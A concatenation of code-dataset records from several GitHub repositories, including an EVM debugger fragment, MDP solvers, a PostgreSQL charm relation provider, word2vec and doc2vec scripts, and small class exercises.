= False\n while True:\n self.cur -= 1\n if not 0 <= self.cur < self.total:\n break\n if self.steps[self.cur].stack[:k+1] != check_stack:\n found = True\n break\n self.check_cur()\n self.info()\n if not found:\n print(\"[*] Cannot found who changed the stack\")\n\n def print_stack(self):\n stack = self.steps[self.cur].stack\n print(\"Stack:\")\n l = len(stack)\n for i in range(l):\n print(\n f\" {C.WARNING}{stack[i]}{C.ENDC} ({str(l-i-1) + ' from ' if i max_size:\n print(f\" ...\")\n if not storage:\n print(\" (empty)\")\n print()\n\n def print_memory(self, max_size=MAX_SIZE):\n memory: Memory = self.steps[self.cur].memory\n memory.show(max_size)\n\n def print_jump(self):\n self.steps[self.cur].print_jump()\n\n @property\n def prompt(self):\n return f\"debug({self.contract.addr})> \"\n\n def info(self):\n print()\n self.print_memory()\n self.print_storage()\n self.print_stack()\n # self.print_jump()\n self.print_pc()\n","repo_name":"RandomNB/EDB","sub_path":"components/vm.py","file_name":"vm.py","file_ext":"py","file_size_in_byte":8284,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"3"}
+{"seq_id":"73162325202","text":"# Defines classes for a general MDP problem and associated problem solvers.\n# By: Patrick Han\nimport random\nimport numpy as np\n\nclass MDP:\n def __init__(self, env, horizon, gamma, epsilon):\n \"\"\"\n Initialize an MDP problem\n args:\n states: All possible states\n actions: Possible actions that can be taken\n probabilities: Transition probabilities between states under some action\n rewards: Immediate rewards received for state transitions under some action\n horizon: Horizon, -1 for infinite or a positive integer for finite horizon\n gamma: Discount factor on future rewards, float [0.0, 1.0]\n epsilon: Stopping criteria, maximum change in value function for each iteration before stopping\n \"\"\"\n self._env = env\n self._states = env._states\n self._actions = env._actions\n self._probabilities = env._transition_probabilities\n self._rewards = env._rewards\n assert horizon == -1 or (type(horizon) is int and horizon >= 0)\n self._horizon = horizon\n self._gamma = gamma\n self._epsilon = epsilon\n\n # Policy maps between states and actions\n self.policy = {}\n\n # Value initalization\n self.V = np.zeros(len(self._states)) # Zero initialize values\n\n def phi_1(self, state):\n \"\"\"\n Computes value given state for basis function 1, where phi(s) = dist between R1 and G1\n \"\"\"\n return numpy.linalg.norm(state)\n\n\n def bellmanBackup(self, update_value):\n \"\"\"\n Applies the bellman operator T on the current value V and updates self.V and self.policy\n \"\"\"\n\n P = self._probabilities\n R = self._rewards\n\n # Very slow way of doing things, should be able to be vectorized but right now my brain hurts after writing this class all morning\n for i, sv in enumerate(self.V):\n Q = np.zeros(len(self._actions))\n for k, a in enumerate(self._actions):\n running_sum = 0 # Sum over all s_primes (future state)\n for j, s_prime in enumerate(self._states):\n running_sum += P[a][i][j] * (R[a][i][j] + self._gamma * self.V[j])\n Q[k] = running_sum\n\n if update_value: # Value should only be updated during Value Iteration\n self.V[i] = np.max(Q) # Maximize over all actions to get new V\n self.policy[i] = self._actions[np.argmax(Q)] # Argmax over all actions to update the policy\n\nclass BasisFunctions(MDP):\n def __init__(self, env, horizon, gamma, epsilon):\n MDP.__init__(self, env, horizon, gamma, epsilon)\n\n self.phi = [self.phi1, self.phi2, self.phi3, self.phi4]\n\n def dist(self, s1, s2):\n return np.sqrt(sum([(s1[i]-s2[i])**2 for i in range(len(s1))]))\n\n def phi1(self, s):\n state = self._env._states_map[s]\n return min([self.dist(state, goal) for goal in self._env._goals])\n\n def phi2(self, s):\n state = self._env._states_map[s]\n return min([self.dist(state, goal) for goal in self._env._goals])\n\n def phi3(self, s):\n state = self._env._states_map[s]\n return self.dist(state, state)\n\n def phi4(self, s):\n if s in self._env._obstacles:\n return -1000\n return 0\n\n def getBasisValues(self, s):\n basisValues = np.zeros(len(self.phi))\n for i, phiI in enumerate(self.phi):\n basisValues[i] = phiI(s)\n return basisValues\n\n def approxValue(self, Theta, s):\n return sum([Theta[i]*phiI(s) for i, phiI in enumerate(self.phi)])\n\n\nclass ValueIteration(MDP):\n def __init__(self, env, horizon, gamma, epsilon):\n \"\"\"\n Initialize a Value Iteration MDP problem solver, inherits from MDP class\n args:\n states: All possible states\n actions: Possible actions that can be taken\n probabilities: Transition probabilities between states under some action\n rewards: Immediate rewards received for state transitions under some action\n horizon: Horizon, -1 for infinite or a positive integer for finite horizon\n gamma: Discount factor on future rewards, float [0.0, 1.0]\n epsilon: Stopping criteria, maximum change in value function for each iteration before stopping\n \"\"\"\n MDP.__init__(self, env, horizon, gamma, epsilon)\n\n # Decide if we need to solve on an infinite or finite horizon\n self.use_infinite_horizon = False\n if self._horizon == -1:\n self.use_infinite_horizon = True\n self.iteration = 0 # If horizon is finite, we need to check\n\n # Initialize a deterministic policy which is a mapping between states and actions\n for state in self._states:\n # We can check to make sure that every state has an action later (i.e. not False), this is a really hacky way to do it for now\n self.policy[state] = False\n\n\n def run(self):\n \"\"\"\n Runs the Value Iteration algorithm\n \"\"\"\n if self._horizon == 0:\n return\n\n while(True):\n self.iteration += 1\n\n Vprevious = self.V.copy()\n\n # Apply bellman operator to update V and the policy\n self.bellmanBackup(update_value = True)\n\n # Stopping criteria\n if self.use_infinite_horizon:\n if np.max(np.abs(Vprevious - self.V)) <= self._epsilon: # If the max absolute difference is less than epsilon\n break\n elif self.iteration == self._horizon:\n break\n\n\nclass ValueIterationApprox(BasisFunctions):\n def __init__(self, env, horizon, gamma, epsilon):\n \"\"\"\n Initialize a Value Iteration MDP problem solver, inherits from MDP class\n args:\n states: All possible states\n actions: Possible actions that can be taken\n probabilities: Transition probabilities between states under some action\n rewards: Immediate rewards received for state transitions under some action\n horizon: Horizon, -1 for infinite or a positive integer for finite horizon\n gamma: Discount factor on future rewards, float [0.0, 1.0]\n epsilon: Stopping criteria, maximum change in value function for each iteration before stopping\n \"\"\"\n BasisFunctions.__init__(self, env, horizon, gamma, epsilon)\n\n self.Theta = np.random.rand(len(self.phi))\n\n # Decide if we need to solve on an infinite or finite horizon\n self.use_infinite_horizon = False\n if self._horizon == -1:\n self.use_infinite_horizon = True\n self.iteration = 0 # If horizon is finite, we need to check\n\n # Initialize a deterministic policy which is a mapping between states and actions\n for state in self._states:\n # We can check to make sure that every state has an action later (i.e. not False), this is a really hacky way to do it for now\n self.policy[state] = False\n \n def linearRegression(self, basisValues, vValue):\n thetaValues = []\n basisSummation = 0\n for basisValue in basisValues:\n basisSummation += basisValue ** 2\n thetaValues.append(basisValue * vValue)\n for i in range(len(thetaValues)):\n thetaValues[i] /= basisSummation\n return thetaValues\n\n def run(self):\n \"\"\"\n Runs the Value Iteration algorithm\n \"\"\"\n if self._horizon == 0:\n return\n\n while(True):\n print(self.iteration)\n self.iteration += 1\n\n Vprevious = self.V.copy()\n\n for i, currentState in enumerate(self._states):\n # Get the approximated values using theta and the current state\n vHat = self.approxValue(self.Theta, currentState)\n # Calculate the vBar values\n for a, action in enumerate(self._actions):\n maxValueList = []\n running_sum = 0\n for j, nextState in enumerate(self._states):\n running_sum += self._probabilities[a][i][j] * (self._rewards[a][i][j] + (self._gamma * vHat))\n maxValueList.append(running_sum)\n vBar = max(maxValueList)\n print(self.Theta)\n self.Theta = self.linearRegression(self.getBasisValues(currentState), vBar)\n print(vBar)\n print(self.Theta)\n \n\n # Stopping criteria\n if self.use_infinite_horizon:\n if np.max(np.abs(Vprevious - self.V)) <= self._epsilon: # If the max absolute difference is less than epsilon\n break\n elif self.iteration == self._horizon:\n break\n\n\nclass PolicyIteration(MDP):\n def __init__(self, env, horizon, gamma, epsilon):\n \"\"\"\n Initialize a Policy Iteration MDP problem solver, inherits from MDP class\n args:\n states: All possible states\n actions: Possible actions that can be taken\n probabilities: Transition probabilities between states under some action\n rewards: Immediate rewards received for state transitions under some action\n horizon: Horizon, -1 for infinite or a positive integer for finite horizon\n gamma: Discount factor on future rewards, float [0.0, 1.0]\n epsilon: Stopping criteria, maximum change in value function for each iteration before stopping\n \"\"\"\n MDP.__init__(self, env, horizon, gamma, epsilon)\n\n\n # Decide if we need to solve on an infinite or finite horizon\n self.use_infinite_horizon = False\n if self._horizon == -1:\n self.use_infinite_horizon = True\n self.iteration = 0 # If horizon is finite, we need to check\n\n # Initialize a randomized deterministic policy which is a mapping between states and actions\n for state in self._states:\n self.policy[state] = random.choice(self._actions)\n\n\n def run(self):\n \"\"\"\n Runs the Policy Iteration algorithm\n \"\"\"\n if self._horizon == 0:\n return\n\n while(True):\n self.iteration += 1\n\n Vprevious = self.V.copy()\n policyPrevious = self.policy.copy()\n\n\n # 1. Policy Evaluation: Compute V^(pi_i) from policy_i\n num_states = len(self._states)\n P_bar = np.zeros((num_states, num_states))\n for m, s in enumerate(self._states): # Build P_bar, i.e. transition probabilities under the current policy\n for n, s_prime in enumerate(self._states):\n P_bar[m][n] = self._probabilities[self.policy[s]][m][n] # The probability of going from s to s_prime under the current policy\n\n R_bar = np.zeros((num_states, num_states))\n for m, s in enumerate(self._states): # Build R_bar, i.e. rewards under the current policy\n for n, s_prime in enumerate(self._states):\n R_bar[m][n] = self._rewards[self.policy[s]][m][n] # The probability of going from s to s_prime under the current policy\n\n D_bar = np.diag(np.matmul(P_bar, R_bar.T))\n V_bar = np.matmul(np.linalg.inv(np.eye(num_states) - self._gamma * P_bar), D_bar)\n\n # Update Value for Policy Refinement\n self.V = V_bar\n\n # 2. Policy Refinement: Compute policy_(i+1) from V^(pi_i)\n self.bellmanBackup(update_value = False) # Only update self.policy\n\n\n if self.use_infinite_horizon:\n # Stopping criteria - Either the value doesn't change between steps or policy doesn't change\n if np.max(np.abs(Vprevious - self.V)) <= self._epsilon: # If the value is unchanging\n break\n elif self.policy == policyPrevious: # Dunno if this is a good idea\n break\n if self.iteration == self._horizon:\n break","repo_name":"eilims/FrontRowIceCreamShop","sub_path":"mdp/mdp.py","file_name":"mdp.py","file_ext":"py","file_size_in_byte":12086,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"27637636302","text":"#!/usr/bin/python3\n\n\"\"\"\nThis module defines a Rectangle class.\n\nThe Rectangle class has width and height attributes.\n\"\"\"\n\n\nclass Rectangle:\n \"\"\"\n This is a simple Rectangle class.\n\n It can be used to represent rectangles with width and height attributes.\n\n Attributes:\n width (int): The width of the rectangle.\n height (int): The height of the rectangle.\n \"\"\"\n\n def __init__(self, width=0, height=0):\n self.__width = width\n self.__height = height\n\n @property\n def width(self):\n return self.__width\n\n @width.setter\n def width(self, value):\n if not isinstance(value, int):\n raise TypeError(\"width must be an integer\")\n if value < 0:\n raise ValueError(\"width must be >= 0\")\n self.__width = value\n\n @property\n def height(self):\n return self.__height\n\n @height.setter\n def height(self, value):\n if not isinstance(value, int):\n raise TypeError(\"height must be an integer\")\n if value < 0:\n raise ValueError(\"height must be >= 0\")\n self.__height = value\n\n\nif __name__ == \"__main__\":\n # Example usage:\n myrectangle = Rectangle(2, 4)\n print(sorted(myrectangle.__dict__))\n\n try:\n myrectangle.width = -4\n except Exception as e:\n print(\"[{}] {}\".format(e.__class__.__name__, e))\n\n try:\n myrectangle.height = \"4\"\n except Exception as e:\n print(\"[{}] {}\".format(e.__class__.__name__, e))\n\n print(myrectangle.width)\n print(myrectangle.height)\n\n myrectangle = Rectangle(4)\n print(\"{} - {}\".format(myrectangle.width, myrectangle.height))\n\n myrectangle = Rectangle()\n print(\"{} - {}\".format(myrectangle.width, myrectangle.height))\n\n myrectangle = Rectangle(2, 4)\n print(\"{} - {}\".format(myrectangle.width, myrectangle.height))\n myrectangle.width = 10\n print(\"{} - {}\".format(myrectangle.width, myrectangle.height))\n\n myrectangle = Rectangle(2, 4)\n print(\"{} - {}\".format(myrectangle.width, myrectangle.height))\n myrectangle.height = 10\n print(\"{} - {}\".format(myrectangle.width, myrectangle.height))\n\n try:\n myrectangle = Rectangle(2, \"3\")\n except Exception as e:\n print(\"[{}] {}\".format(e.__class__.__name__, e))\n\n try:\n myrectangle = Rectangle(\"2\", 3)\n except Exception as e:\n print(\"[{}] {}\".format(e.__class__.__name__, e))\n","repo_name":"brucetravis/alx-higher_level_programming","sub_path":"0x08-python-more_classes/1-rectangle.py","file_name":"1-rectangle.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24370757664","text":"import pickle\nimport numpy as np\nimport time\nimport math\n\n# Loads vectors of processed word2vec vectors into array of tuples for processing\n# Each tuple is (word/sui, [vector array])\ndef load_vectors(file):\n\tword2index={}\n\twith(open(file, \"r\", encoding=\"ISO-8859-1\")) as inp_file:\n\t\tvector_count, dimensions = [int(i) for i in inp_file.readline().strip().split()]\n\t\tmatrix = np.zeros((vector_count, dimensions))\n\n\t\ti = 0\n\t\tfor line in inp_file:\n\t\t\tvals = line.strip().split()\n\t\t\tif len(vals) != dimensions + 1:\n\t\t\t\tcontinue\n\t\t\t\n\t\t\tword2index[vals[0]] = i\t\n\t\t\tmatrix[i, :] = [float(j) for j in vals[1:]]\n\t\t\ti+=1\n\t\treturn word2index, matrix\n\n# Given a matrix, normalize each row based on the L2-norm\ndef normalize_L2(matrix):\n\tfor i in range(matrix.shape[0]):\n\t\tmatrix[i,:] /= np.linalg.norm(matrix[i,:])\n\treturn matrix\n\n# Create a sorted list of the closest vectors based on dot product\ndef dot_prod(index, matrix, kvals):\n\tq = matrix[index, :]\n\tsimilarity = matrix.dot(q)\n\t# Initialize a list to hold the returned top-k vals\n\ttopvals = []\n\t# Using a minimum similarity variable to reduce size of list\n\tmin_sim = 0\n\tfor i in range(similarity.shape[0]):\n\t\tif similarity[i] > min_sim or len(topvals) < kvals:\n\t\t\ttopvals, min_sim = insert_val(topvals, similarity[i], index, i, kvals)\n\treturn topvals\n\n\n# Helper function for inserting\ndef insert_val(list, val, target_index, word_index, kvals):\n\tif target_index == word_index:\n\t\treturn list, val\n\tif len(list) >= kvals:\n\t\tlist.pop(kvals-1)\n\tif len(list) == 0:\n\t\tlist.insert(0, (word_index, val))\n\t\treturn list, val\n\n\tindex = binary_insert(list, val, 0, len(list) - 1)\n\tlist.insert(index, (word_index, val))\n\treturn list, list[len(list)-1][1]\n\n\ndef binary_insert(list, val, start, end):\n\tif start == end:\n\t\tif list[start][1] < val:\n\t\t\treturn start\n\t\telse:\n\t\t\treturn start+1\n\n\tif start > end:\n\t\treturn start\n\tmiddle_num = math.floor((start+end)/2)\n\tif val < list[middle_num][1]:\n\t\treturn binary_insert(list, val, middle_num+1, end)\n\telif val > list[middle_num][1]:\n\t\treturn binary_insert(list, val, start, middle_num-1)\n\telse:\n\t\treturn middle_num\n\n\nif __name__ == \"__main__\":\n\tprint(\"STARTED\")\n\t# Get the cui code dictionary\n\tstart_time = time.time()\n\t#concept_dict, SUI_TO_CUI = concept_identifiers(\"MRCONSO.RRF\")\n\tend_time = time.time()\n\t\n\t# Load vectors from word2vec file\n\tstart_time=time.time()\n\tword2index, matrix = load_vectors(\"vec.txt\")\n\tend_time = time.time()\n\tprint(\"Load vectors runtime:{}\".format(str((end_time-start_time)/60)))\n\n\t# Normalize matrix\n\t\n\tstart_time=time.time()\n\tmatrix = normalize_L2(matrix)\n\tend_time = time.time()\n\tprint(\"Normalize matrix runtime:{}\".format(str((end_time-start_time)/60)))\n\t\t\n\tindex2word = dict([(i, w) for w, i in word2index.items()])\n\n\tSUI_to_string = pickle.load(open(\"SUIToString\", \"rb\"))\n\t\n\tstart_time=time.time()\n\tnum_of_words = 10000\n\trankings = []\t\n\n\tfor i in range(num_of_words):\n\t\tif index2word[i] in SUI_to_string:\n\t\t\tsimwords = dot_prod(i, matrix, 50)\n\t\t\trankings.append((index2word[i], simwords))\n\tend_time=time.time()\n\tprint(\"Generate N:{}\".format(str((end_time-start_time)/60)))\n\tpickle.dump(rankings, open(\"word-rankings.p\", \"wb\"))\n\tpickle.dump(index2word, open(\"index2word.p\", \"wb\"))\n","repo_name":"jake612/ResearchCode","sub_path":"UMLS_CUI_Set.py","file_name":"UMLS_CUI_Set.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35430558156","text":"import logging\n\nfrom charms.data_platform_libs.v0.data_interfaces import (\n DatabaseProvides,\n DatabaseRequestedEvent,\n)\nfrom charms.postgresql_k8s.v0.postgresql import (\n INVALID_EXTRA_USER_ROLE_BLOCKING_MESSAGE,\n PostgreSQLCreateDatabaseError,\n PostgreSQLCreateUserError,\n PostgreSQLDeleteUserError,\n PostgreSQLGetPostgreSQLVersionError,\n PostgreSQLListUsersError,\n)\nfrom ops.charm import CharmBase, RelationBrokenEvent\nfrom ops.framework import Object\nfrom ops.model import ActiveStatus, BlockedStatus, Relation\n\nfrom constants import ALL_CLIENT_RELATIONS, APP_SCOPE, DATABASE_PORT\nfrom utils import new_password\n\nlogger = logging.getLogger(__name__)\n\n\nclass PostgreSQLProvider(Object):\n \"\"\"Defines functionality for the 'provides' side of the 'postgresql-client' relation.\n\n Hook events observed:\n - database-requested\n - relation-broken\n \"\"\"\n\n def __init__(self, charm: CharmBase, relation_name: str = \"database\") -> None:\n \"\"\"Constructor for PostgreSQLClientProvides object.\n\n Args:\n charm: the charm for which this relation is provided\n relation_name: the name of the relation\n \"\"\"\n self.relation_name = relation_name\n\n super().__init__(charm, self.relation_name)\n self.framework.observe(\n charm.on[self.relation_name].relation_broken, self._on_relation_broken\n )\n\n self.charm = charm\n\n # Charm events defined in the database provides charm library.\n self.database_provides = DatabaseProvides(self.charm, relation_name=self.relation_name)\n self.framework.observe(\n self.database_provides.on.database_requested, self._on_database_requested\n )\n\n def _on_database_requested(self, event: DatabaseRequestedEvent) -> None:\n \"\"\"Generate password and handle user and database creation for the related application.\"\"\"\n # Check for some conditions before trying to access the PostgreSQL instance.\n if not self.charm.unit.is_leader():\n return\n\n if (\n \"cluster_initialised\" not in self.charm._peers.data[self.charm.app]\n or not self.charm._patroni.member_started\n or not self.charm.primary_endpoint\n ):\n event.defer()\n logger.debug(\n \"Deferring on_database_requested: cluster not initialized, Patroni not started or primary endpoint not available\"\n )\n return\n\n # Retrieve the database name and extra user roles using the charm library.\n database = event.database\n extra_user_roles = event.extra_user_roles\n\n try:\n # Creates the user and the database for this specific relation.\n user = f\"relation-{event.relation.id}\"\n password = new_password()\n self.charm.postgresql.create_user(user, password, extra_user_roles=extra_user_roles)\n plugins = [\n \"_\".join(plugin.split(\"_\")[1:-1])\n for plugin in self.charm.config.plugin_keys()\n if self.charm.config[plugin]\n ]\n\n self.charm.postgresql.create_database(database, user, plugins=plugins)\n\n # Share the credentials with the application.\n self.database_provides.set_credentials(event.relation.id, user, password)\n\n # Update the read/write and read-only endpoints.\n self.update_endpoints(event)\n\n # Set the database version.\n self.database_provides.set_version(\n event.relation.id, self.charm.postgresql.get_postgresql_version()\n )\n\n # Set the database name\n self.database_provides.set_database(event.relation.id, database)\n\n self._update_unit_status(event.relation)\n except (\n PostgreSQLCreateDatabaseError,\n PostgreSQLCreateUserError,\n PostgreSQLGetPostgreSQLVersionError,\n ) as e:\n logger.exception(e)\n self.charm.unit.status = BlockedStatus(\n e.message\n if issubclass(type(e), PostgreSQLCreateUserError) and e.message is not None\n else f\"Failed to initialize {self.relation_name} relation\"\n )\n\n def _on_relation_broken(self, event: RelationBrokenEvent) -> None:\n \"\"\"Correctly update the status.\"\"\"\n self._update_unit_status(event.relation)\n\n def oversee_users(self) -> None:\n \"\"\"Remove users from database if their relations were broken.\"\"\"\n if not self.charm.unit.is_leader():\n return\n\n # Retrieve database users.\n try:\n database_users = {\n user for user in self.charm.postgresql.list_users() if user.startswith(\"relation-\")\n }\n except PostgreSQLListUsersError:\n return\n\n # Retrieve the users from the active relations.\n relations = [\n relation\n for relation_name, relations_list in self.model.relations.items()\n for relation in relations_list\n if relation_name in ALL_CLIENT_RELATIONS\n ]\n relation_users = set()\n for relation in relations:\n username = f\"relation-{relation.id}\"\n relation_users.add(username)\n\n # Delete that users that exist in the database but not in the active relations.\n for user in database_users - relation_users:\n try:\n logger.info(\"Remove relation user: %s\", user)\n self.charm.set_secret(APP_SCOPE, user, None)\n self.charm.set_secret(APP_SCOPE, f\"{user}-database\", None)\n self.charm.postgresql.delete_user(user)\n except PostgreSQLDeleteUserError:\n logger.error(f\"Failed to delete user {user}\")\n\n def update_endpoints(self, event: DatabaseRequestedEvent = None) -> None:\n \"\"\"Set the read/write and read-only endpoints.\"\"\"\n if not self.charm.unit.is_leader():\n return\n\n # Get the current relation or all the relations\n # if this is triggered by another type of event.\n relations = [event.relation] if event else self.model.relations[self.relation_name]\n\n # If there are no replicas, remove the read-only endpoint.\n replicas_endpoint = self.charm.members_ips - {self.charm.primary_endpoint}\n read_only_endpoints = (\n \",\".join(f\"{x}:{DATABASE_PORT}\" for x in replicas_endpoint)\n if len(replicas_endpoint) > 0\n else \"\"\n )\n\n for relation in relations:\n # Set the read/write endpoint.\n self.database_provides.set_endpoints(\n relation.id,\n f\"{self.charm.primary_endpoint}:{DATABASE_PORT}\",\n )\n\n # Set the read-only endpoint.\n self.database_provides.set_read_only_endpoints(\n relation.id,\n read_only_endpoints,\n )\n\n def _update_unit_status(self, relation: Relation) -> None:\n \"\"\"# Clean up Blocked status if it's due to extensions request.\"\"\"\n if (\n self.charm.is_blocked\n and self.charm.unit.status.message == INVALID_EXTRA_USER_ROLE_BLOCKING_MESSAGE\n ):\n if not self.check_for_invalid_extra_user_roles(relation.id):\n self.charm.unit.status = ActiveStatus()\n\n def check_for_invalid_extra_user_roles(self, relation_id: int) -> bool:\n \"\"\"Checks if there are relations with invalid extra user roles.\n\n Args:\n relation_id: current relation to be skipped.\n \"\"\"\n valid_privileges, valid_roles = self.charm.postgresql.list_valid_privileges_and_roles()\n for relation in self.charm.model.relations.get(self.relation_name, []):\n if relation.id == relation_id:\n continue\n for data in relation.data.values():\n extra_user_roles = data.get(\"extra-user-roles\")\n if extra_user_roles is None:\n break\n extra_user_roles = extra_user_roles.lower().split(\",\")\n for extra_user_role in extra_user_roles:\n if (\n extra_user_role not in valid_privileges\n and extra_user_role not in valid_roles\n ):\n return True\n return False\n","repo_name":"canonical/postgresql-operator","sub_path":"src/relations/postgresql_provider.py","file_name":"postgresql_provider.py","file_ext":"py","file_size_in_byte":8396,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"}
+{"seq_id":"26081791413","text":"import argparse\nimport cv2\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('path_image_input',\n help='path to imput image to be displayed')\nparser.add_argument('path_image_output',\n help='path for the processed image to be saved')\nargs = vars(parser.parse_args())\n\nimage_input = cv2.imread(args['path_image_input'])\ncv2.imshow('loaded', image_input)\ngrey_image = cv2.cvtColor(image_input, cv2.COLOR_BGR2GRAY)\ncv2.imshow('grey scale', grey_image)\ncv2.imwrite(args['path_image_output'], grey_image)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"damiansp/completePython","sub_path":"image_processing/open_cv4/02_handling/argparse_load_process_save_image.py","file_name":"argparse_load_process_save_image.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39394770969","text":"from collections import namedtuple\r\nimport pandas as pd\r\nimport multiprocessing\r\nfrom time import time\r\nfrom sklearn.neural_network import MLPClassifier\r\nimport pickle\r\n\r\ncores = multiprocessing.cpu_count()\r\ncomments = []\r\n\r\nTaggedDocument = namedtuple('TaggedDocument', 'words tags')\r\ndf_train = pd.read_csv(\"saved_model/df_train.csv\", index_col=0)\r\ndf_test = pd.read_csv(\"saved_model/df_test.csv\", index_col=0)\r\n\r\ntagged_train_docs = [TaggedDocument(d, c)\r\n for d, c in df_train[['token_review', 'score']].values]\r\ntagged_test_docs = [TaggedDocument(d, c)\r\n for d, c in df_test[['X_test_tokkended', 'y_test']].values]\r\n\r\nfilename = 'saved_model/d2v.sav'\r\ndoc_vectorizer = pickle.load(open(filename, 'rb'))\r\n\r\nX_train = [doc_vectorizer.infer_vector(doc.words) for doc in tagged_train_docs]\r\ny_train = [doc.tags for doc in tagged_train_docs]\r\nX_test = [doc_vectorizer.infer_vector(doc.words) for doc in tagged_test_docs]\r\ny_test = [doc.tags for doc in tagged_test_docs]\r\nprint(len(X_train), len(y_train))\r\n\r\n## sklearn neural network\r\n\r\nmlp_clf = MLPClassifier(\r\n hidden_layer_sizes=(50,),\r\n max_iter=10,\r\n alpha=1e-4,\r\n verbose=15,\r\n tol=1e-4,\r\n random_state=1,\r\n learning_rate_init=.1\r\n)\r\nstart = time()\r\nmlp_clf.fit(X_train, y_train)\r\nend = time()\r\nprint('Time: {:f}s'.format(end-start))\r\n\r\ny_pred = mlp_clf.score(X_test, y_test)\r\nprint(\"====Multilayer Perceptron by sklearn====\")\r\nprint(\"테스트 정확도: {:.2f}\".format(y_pred*100))\r\n","repo_name":"DEVHARAM/data-mining-project","sub_path":"doc2vec/doc2vec_MLP.py","file_name":"doc2vec_MLP.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"9088023003","text":"#[SOAL NOMOR 3] Buat hierarki kelas untuk sistem perbankan. \r\n# Sistem harus memiliki kelas dasar untuk akun, dengan kelas turunan untuk rekening giro dan rekening tabungan. \r\n# Kelas rekening giro harus memiliki variabel instan untuk nomor rekening, saldo, dan riwayat transaksi. \r\n# Kelas rekening tabungan harus memiliki variabel instan untuk nomor rekening, saldo, dan suku bunga. \r\n# Kelas rekening giro dan tabungan harus memiliki metode untuk menarik dan menyetor uang, dan kelas rekening giro juga harus memiliki metode untuk menulis cek. \r\n# Hierarki kelas harus dibuat sehingga kode berikut dapat berjalan dan menghasilkan output berikut.\r\n\r\nclass BankAccount:\r\n def __init__(self, account_number, balance):\r\n self.account_number = account_number\r\n self.balance = balance\r\n self.transactions = []\r\n\r\n def deposit(self, amount):\r\n self.balance += amount\r\n self.transactions.append(f\"Deposit: ${amount:.2f}\")\r\n\r\n def withdraw(self, amount):\r\n if amount <= self.balance:\r\n self.balance -= amount\r\n self.transactions.append(f\"Withdrawal: ${amount:.2f}\")\r\n else:\r\n print(\"Insufficient funds\")\r\n\r\nclass CheckingAccount(BankAccount):\r\n def __init__(self, account_number, balance):\r\n super().__init__(account_number, balance)\r\n self.transactions = []\r\n\r\n def write_check(self, amount):\r\n if self.balance >= amount:\r\n self.balance -= amount\r\n self.transactions.append(f\"Withdrawal: ${amount:.2f}\")\r\n self.transactions.append(f\"Check: ${amount:.2f}\")\r\n else:\r\n print(\"Error: Insufficient funds.\")\r\n\r\n\r\nclass SavingsAccount(BankAccount):\r\n def __init__(self, account_number, balance, interest_rate):\r\n super().__init__(account_number, balance)\r\n self.interest_rate = interest_rate\r\n\r\n def calculate_interest(self):\r\n interest = self.balance * self.interest_rate\r\n self.deposit(interest)\r\n self.transactions.append(f\"Interest: ${interest:.2f}\")\r\n\r\n\r\nchecking = CheckingAccount(\"123456\", 1000.00)\r\nsavings = SavingsAccount(\"654321\", 5000.00, 0.02)\r\n\r\nchecking.write_check(100.00)\r\nsavings.calculate_interest()\r\n\r\nprint(checking.account_number, checking.balance, checking.transactions)\r\nprint(savings.account_number, savings.balance, savings.transactions)\r\n","repo_name":"ericaishere/Robotiik","sub_path":"tugas_robotiik_python_3.py","file_name":"tugas_robotiik_python_3.py","file_ext":"py","file_size_in_byte":2363,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14743643164","text":"\"\"\"\nONLY STREAMLIT UTILS, who puts DB connect here died\n\nfunction usefull for the project's UI\n\nmethod:\n - check_user_connection\n - dash_error : show the error message if no_dash_in_my_text retrun True\n\"\"\"\nimport streamlit as st\nfrom decouple import config\n\nfrom ai_sustainability.package_application.application import Application\nfrom ai_sustainability.package_business.models import Username\nfrom ai_sustainability.package_data_access.db_connection import DbConnection\n\n\n@st.cache_resource\ndef get_application() -> Application:\n database = DbConnection()\n app = Application(database)\n return app\n\n\ndef check_user_connection() -> Username:\n if \"username\" not in st.session_state or st.session_state.username == \"\":\n # User not connected, don't show the form, ask for connection\n st.caption(\"❌ You are not connected, please connect with your username in the Connection page.\")\n return Username(\"\")\n username = st.session_state.username\n # Connected as an Admin\n if username == config(\"ADMIN_USERNAME\"):\n st.caption(\"🔑 Connected as an Admin\")\n # Connected as an User\n else:\n st.caption(\"✅ Connected as \" + str(username))\n # To detect if the user create a form with the same name as the previous one (used in Historic)\n return st.session_state.username\n\n\ndef dash_error() -> None:\n st.warning(\"Please don't use dash in your form name\")\n","repo_name":"bhourte/ai-sustainability","sub_path":"ai_sustainability/package_user_interface/utils_streamlit.py","file_name":"utils_streamlit.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
